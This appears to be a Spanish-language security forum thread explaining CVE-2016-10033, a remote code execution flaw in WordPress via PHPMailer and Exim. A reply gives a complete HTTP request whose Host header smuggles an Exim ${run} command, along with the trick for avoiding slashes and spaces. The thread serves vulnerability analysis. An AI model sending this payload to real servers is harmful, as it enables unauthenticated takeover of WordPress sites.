Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: MCKSys Argentina en 4 Mayo 2017, 00:42 am



Título: CVE-2016-10033 WordPress Core - Unauthenticated Remote Code Execution
Publicado por: MCKSys Argentina en 4 Mayo 2017, 00:42 am
Dawid Golunski (@dawid_golunski (https://twitter.com/dawid_golunski)) explica cómo explotar la última vulnerabilidad que ha encontrado en Wordpress (la vulnerabilidad está en PHPMailer).

Usa técnicas nuevas para la explotación, por lo cual es muy recomendable de leer.

El post: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html (https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html)

Saludos!


Título: Re: CVE-2016-10033 WordPress Core - Ejecucion de codigo
Publicado por: sirdarckcat en 6 Junio 2017, 02:30 am
El resumen es que si envias esta peticion:
Código:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56


user_login=admin&redirect_to=&wp-submit=Get+New+Password

Ejecutas /usr/bin/touch en /tmp/test, el bug es que el codigo de wordpress usa:
Código
  1. $phpmailer->setFrom( $from_email, $from_name );

Y como es implementado, ese comando se convierte en:
Código
  1. /usr/sbin/sendmail -t -i -fREMITENTE

Donde REMITENTE proviene del valor del valor de la cabecera Host, como nosotros controlamos la cabezera Host, solo debemos poner algo ahi y podemos controlar que escriba cualquier cosa.

La vulnerabilidad despues se convierte en ejecucion de codigo por medio de EXIM MTA http://www.exim.org/ , que es el servidor de correo instalado por default en Debian y Ubuntu.

Este tiene una opcion que se llama "Expansion Testing Mode", o modo de expansión de prueba, que puede ser usado para que EXIM lea y ejecute comandos en un lenguage propietario. Uno de los comandos es run.

Cuando haces:
Código:
${run{/bin/true}{yes}{no}}

Ejecuta /bin/true.. Facil

El motivo por el cual el exploit es mas complicado es porque la cabecera de Host no permite diagonales ni espacios, por lo que Dawid uso diagnoales y espacios en otras variables disponibles en el ambiente de EXIM.